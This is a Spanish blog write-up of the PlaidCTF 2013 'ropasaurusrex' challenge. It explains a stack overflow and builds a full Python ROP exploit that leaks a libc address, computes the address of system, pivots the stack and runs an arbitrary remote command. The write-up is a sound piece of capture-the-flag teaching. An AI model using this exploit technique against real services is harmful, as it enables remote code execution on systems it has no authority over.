domingo, 12 de mayo de 2013

[Exploit] – PlaidCTF 2013 - Ropasaurusrex (pwn 200)

Aunque ya hayan pasado unas semanas de la finalización del PlaidCTF 2013, he decidido publicar la solución de la prueba “ropasaurusrex” debido a que me resultó una prueba interesante y que tranquilamente podríamos encontrarnos una explotación similar en la vida real. Dicha prueba se encontraba en la sección de “pwn” y se premiaba con 200 puntos.

Recomendación: La explotación de dicha prueba requiere de una serie de conocimientos técnicos avanzados en técnicas de explotación de vulnerabilidades en entornos Linux. Y como Daniel García realizó un estupendo trabajo explicando estas técnicas, recomiendo encarecidamente la lectura de la entrada “GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux)” en su blog (al igual que las demás entradas).

Así que empezamos:

Binario: [descarga_ropasaurusrex]
Md5 binario: c5bb68949dcc3264cd3a560c05d0b566
Sha1 binario: 85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d

Reconocimiento del problema:

En las notas del reto nos indicaba que el binario a analizar se encontraba en ejecución en el host Y puerto X, por lo que deberíamos explotarlo de forma remota. Una vez descargado el binario, pasamos a ejecutarlo para ver que nos pide, topándonos con lo siguiente:

image

Como es posible observar, a simple vista existe una vulnerabilidad overflow debido a una mala validación en los datos de entrada. Por lo que tenemos claro por dónde debemos ir. Al igual que en los anteriores overflows utilizamos pattern_create de metasploit para obtener el tamaño necesario para sobrescribir EIP, en este caso 140.

Mediante el script checksec.sh obtenemos las protecciones de seguridad que implementa nuestro binario:

image

Es posible ver como el binario dispone de la protección NX (PILA no ejecutable) y ya que dicho servicio se explotará de forma remota, debemos suponer que la protección ASLR también se encuentra activada, esto nos encamina a que deberemos utilizar técnicas de ROP (Return-oriented programming) para conseguir nuestro objetivo.

Si indagamos un poco en qué funciones, llamadas, etc, contiene el binario obtenemos lo siguiente:

Función vulnerable:

root@kali:~/Desktop# objdump -M intel -d ropasaurusrex | grep -i -A10 80483f4
80483f4: 55 push ebp
80483f5: 89 e5 mov ebp,esp
80483f7: 81 ec 98 00 00 00 sub esp,0x98
80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100
8048404: 00
8048405: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
804840b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804840f: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
8048416: e8 11 ff ff ff call 804832c <read@plt> <<-- Vulnerable
804841b: c9 leave
804841c: c3 ret <<-- Ret inicial a nuestro ROP

Direcciones de las funciones write y read en la PLT:

root@kali:~/Desktop# objdump -d ropasaurusrex | grep -iE -A3 '(write@plt|read@plt)'
0804830c <write@plt>:
804830c: ff 25 14 96 04 08 jmp *0x8049614
8048312: 68 08 00 00 00 push $0x8
8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
--
0804832c <read@plt>:
804832c: ff 25 1c 96 04 08 jmp *0x804961c
8048332: 68 18 00 00 00 push $0x18
8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>

Con la información anteriormente nombrada y debido a la falta de la llamada “system” en nuestro binario, es posible llegar a la conclusión de que deberemos realizar un exploit utilizando la técnica ROP con los siguientes objetivos:

  1. Explotar el stack buffer overflow consiguiendo el control del registro EIP.
  2. Devolver la dirección real de la función READ o WRITE almacenada en la GOT. (Mediante la función WRITE)
  3. Calcular la dirección real de la función SYSTEM a partir de la obtenida anteriormente.
  4. Mediante una función READ implementada por ROP almacenar el comando enviado por nosotros en alguna sección con permisos de escritura y la dirección real de la función SYSTEM.
  5. Ejecute la función SYSTEM con el comando enviado.

¿Y todo esto realizando una sola conexión? - Por supuesto!!

Si os preguntáis por qué es necesario montar todo este lio para ejecutar código remotamente, la respuesta es bien sencilla, ASLR y NX. Al no disponer de ejecución en la PILA, no es posible realizar un ROP sencillo que ejecute una shellcode almacenada en la misma y debido a que el sistema dispone de ASRL activado, las direcciones de las librerías compartidas son aleatorizadas.

Empezamos nuestro exploit guardando las direcciones necesarias para realizar nuestro ROP, las cuales se cargan estáticamente (PLT).

import sys
import struct
import socket

## Obtenemos el comando
command = sys.argv[1]

## Creamos el socket
s = socket.socket()
s.connect(("localhost", 4444))

## Declaramos las direcciones necesarias
read_plt = 0x0804832c
read_plt_point = 0x804961c
write_plt = 0x0804830c
offset = 0x8a530 # (read - system)
system = 0x0 # Por rellenar
ret_addr = 0x41414141

Obtención de la dirección SYSTEM:

Tal y como se ha comentado anteriormente lo primero que nos interesa es que el propio binario nos devuelva la dirección real de la función READ. Dicha dirección se encuentra almacenada en el puntero “read_plt_point = 0x804961c”. Utilizaremos la función WRITE para imprimir por “stdout” (en nuestro caso, salida asociada al socket) su contenido.

La función WRITE demanda tres argumentos: tipo, puntero a leer y tamaño. Por lo que será necesario añadir el siguiente código a nuestro exploit.

## Leemos la direccion real de la funcion read
sploit = "A" * 140
sploit += struct.pack("<L", write_plt) # Write plt address
sploit += struct.pack("<L", ret_addr) # Return address
sploit += struct.pack("<L", 0x1) # Stdout
sploit += struct.pack("<L", read_plt_point) # Read GOT address
sploit += struct.pack("<L", 0x4) # Size

s.send(sploit + “BBBB”)
data = s.recv(4)
read_addr = struct.unpack("<L", data)[0]
print "(*) Read real address: ", hex(read_addr)
s.close()

Si os fijáis lo único que estamos haciendo es sobrescribir con la dirección de la función WRITE nuestra dirección de retorno inicial, pasándole los argumentos apropiados. Es importante introducir una dirección de retorno después de WRITE (ret_addr), ya que cuando ésta finalice deberá saltar a algún lugar.

image

Con esto ya hemos conseguido nuestra dirección apreciada y podremos calcular automáticamente la dirección real de SYSTEM.

Si visualizamos la PILA en el momento de continuar con la ejecución, nos topamos con un pequeño problema:

image

Aún disponemos de los parámetros del la función WRITE en la pila! Debemos encontrar un modo para que dichos parámetros desaparezcan de la PILA y podamos continuar con la ejecución de nuestro ROP. Este tipo de casos se suelen solucionar con conjuntos de instrucciones tipo “POP reg / POP reg / POP reg / RET”.

Realizando una pequeña búsqueda con “objdump” podemos localizar esta estructura en el binario:

root@kali:~/Desktop# objdump -d ropasaurusrex | grep -iE '(pop|ret)'
...
80484b5: 5b pop ebx
80484b6: 5e pop esi <<--- A partir de aquí
80484b7: 5f pop edi
80484b8: 5d pop ebp
80484b9: c3 ret
...

Si substituimos nuestra variable “ret_addr” en el exploit por la dirección 0x80484b6 y ejecutamos de nuevo, habremos solventado el problema sobrescribiendo EIP con el valor 0x42424242 (último valor enviado en el overflow).

Cálculo de la dirección SYSTEM:

Aprovechando la modificación del exploit, podemos añadir el calculo de nuestra dirección SYSTEM en base a READ – OFFSET.

...
s.send(sploit + "BBBB")
print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
data = s.recv(4)

## Calculamos la direccion real de la funcion read
read_addr = struct.unpack("<L", data)[0]
system = (read_addr - offset)

print "(*) Read real address: ", hex(read_addr)
print "(*) System real address: ", hex(system)
s.close()
...

Y al ejecutar el exploit obtendremos lo siguiente:

image


Envío del comando y la dirección de SYSTEM al binario:

Debido a que la dirección de SYSTEM únicamente es posible conseguirla una vez hemos interactuado con el binario, hemos perdido la oportunidad de enviar datos al mismo, por lo que, hemos de continuar nuestro ROP haciendo que éste (binario) nos vuelva a solicitar datos mediante la función READ.

La función READ también nos solicita tres argumentos para trabajar con ella: tipo, puntero a escribir y tamaño. En este caso deberemos buscar una sección con permisos de escritura y con tamaño suficiente como para copiar algunas direcciones de memoria y nuestro comando:

root@kali:~/Desktop# objdump -h ropasaurusrex | less
...
19 .jcr 00000004 0804952c 0804952c 0000052c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000d0 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049600 08049600 00000600 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 08049604 08049604 00000604 2**2
CONTENTS, ALLOC, LOAD, DATA
...

Tal y como es posible observar la sección “.dynamic” tiene permisos de escritura y dispone de “0xd0” de tamaño, más que suficiente.

Por lo que continuaremos modificando un poco nuestro exploit, añadiendo una nueva variable:

...
dynamic = 0x08049530
...

Y nuestra nueva función READ, implementada en el ROP:

...
sploit += struct.pack("<L", read_plt) # Read plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x0) # Stdin
sploit += struct.pack("<L", dynamic) # Dest addr
sploit += struct.pack("<L", 0x30) # Size
...

Hemos de tener en cuenta que el binario en este momento se quedará esperando a recibir más datos, por lo que vamos a tener que implementar un seguro trozo de código en nuestro exploit que envíe nuestra segunda petición contra el servicio (dicho código se añade justo después del primer “send”):

...
print "(*) We send the second part of our exploit.."

## Almacenamos el comando mediante (read) y lo ejecutamos mediante (system)
sploit2 = struct.pack("<L", 0x58585858) # Padding for LEAVE
sploit2 += struct.pack("<L", system) # Call system address
sploit2 += struct.pack("<L", 0x58585858) # Fake return address
sploit2 += struct.pack("<L", dynamic+16) # Addr of our command

s.send(sploit2 + command + "\x00")
s.close()
...

Puede llamar la atención el padding en el segundo envío, posteriormente será explicado.

Si ejecutamos de nuevo el exploit y visualizamos que sucede con GDB:

image

Tal y como se observa en la imagen anterior, seguimos controlando EIP y disponemos en la sección .dynamic la estructura que queríamos. Pero, ¿cómo conseguimos llamar ahora a la función SYSTEM con el comando?

Si os fijáis en la estructura formada en la sección .dynamic, es similar a la que tiene nuestra PILA antes de llamar a una función cuando se está realizando un ROP (System-Addr + Fake-Ret + Command-Addr), por lo que necesitamos que nuestra PILA (registro ESP) pase a ser la dirección de la sección .dynamic “0x8049530”, es decir “ESP=~0x8049530”.

Aquí es donde toma sentido la estructura formada en .dynamics. Para conseguir nuestro objetivo únicamente necesitamos almacenar nuestra dirección de la sección .dynamics en el registro EBP y posteriormente llamar a algún epílogo (LEAVE / RET), de este modo, la PILA se encontrará situada donde queríamos.

De aquí el padding comentado anteriormente, ya que el epílogo obtendrá como nueva PILA la dirección en EBP+4. Del mismo modo nuestro comando es enviado justo después de “sploit2”, por lo que añadiremos como puntero al comando la dirección de .dynamics+16 (EBP=.dynamic ; Padding=.dynamic+4 ; System-Addr=.dynamic+8 ; Fake-Ret=.dynamic+12 ; Command-Addr=.dynamic+16).

Es necesario añadir nuevas variables generales:

...
pop_ebp = 0x080483c3 # POP EBP / RET # From objdump
epilogue = 0x080482ea # LEAVE / RET # From objdump
...

Y nuevas instrucciones al final del primer envío “sploit” para construir la nueva PILA.

...
sploit += struct.pack("<L", pop_ebp) # POPEBP/RET (Save dynamic address in EBP)


sploit += struct.pack("<L", dynamic) # dynamic address
sploit += struct.pack("<L", epilogue) # Now EBP in our new ESP
s.send(sploit)
...

Ejecución de SYSTEM:

Con todas las modificaciones que se han hecho en el exploit a lo largo de la entrada es normal que hayan habido posibles confusiones, por lo que adjunto el exploit final a continuación:

import sys
import struct
import socket

## Obtenemos el comando
command = sys.argv[1]

## Creamos el socket
s = socket.socket()
s.connect(("localhost", 4444))

## Declaramos las direcciones necesarias
read_plt = 0x0804832c
read_plt_point = 0x804961c
write_plt = 0x0804830c
offset = 0x8a530 # (read - system)
system = 0x0 # Por rellenar

ret_addr = 0x080484b6
dynamic = 0x08049530
pop_ebp = 0x080483c3 # POP EBP / RET
epilogue = 0x080482ea # LEAVE / RET

## Leemos la direccion real de la funcion read
sploit = "A" * 140
sploit += struct.pack("<L", write_plt) # Write plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x1) # Stdout
sploit += struct.pack("<L", read_plt_point) # Read GOT address
sploit += struct.pack("<L", 0x4) # Size

sploit += struct.pack("<L", read_plt) # Read plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x0) # Stdin
sploit += struct.pack("<L", dynamic) # Dest addr
sploit += struct.pack("<L", 0x30) # Size

sploit += struct.pack("<L", pop_ebp) # POP EBP / RET (Save dynamic address in EBP)
sploit += struct.pack("<L", dynamic) # dynamic address
sploit += struct.pack("<L", epilogue) # Now EBP in our new ESP

s.send(sploit)

print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
data = s.recv(4)

## Calculamos la direccion real de la funcion read
read_addr = struct.unpack("<L", data)[0]
system = (read_addr - offset)

print "(*) Read real address: ", hex(read_addr)
print "(*) System real address: ", hex(system)

print "(*) We send the second part of our exploit.."

## Enviamos el comando mediante (read) y lo ejecutamos mediante (system)
sploit2 = struct.pack("<L", 0x58585858) # Padding for LEAVE
sploit2 += struct.pack("<L", system) # Call system address
sploit2 += struct.pack("<L", 0x58585858) # Fake return address
sploit2 += struct.pack("<L", dynamic+16) # Our command

s.send(sploit2 + command + "\x00")

print "(*) Result of: ", command
print "(*) --------------------------------------------------"
data = s.recv(1024)
print data

s.close()

Y si ejecutamos nuestro exploit pasando como argumento diferentes comandos:

image


Esto es todo, espero que os haya gustado.

Saludos!!

2 comentarios:

  1. Veeeeeennnnngaaaaaaaa!!!
    Mañana quedamos y me lo explicas paso a paso!! Pago yo las cervezas!! ;)

    Muy bueno!!

    ResponderEliminar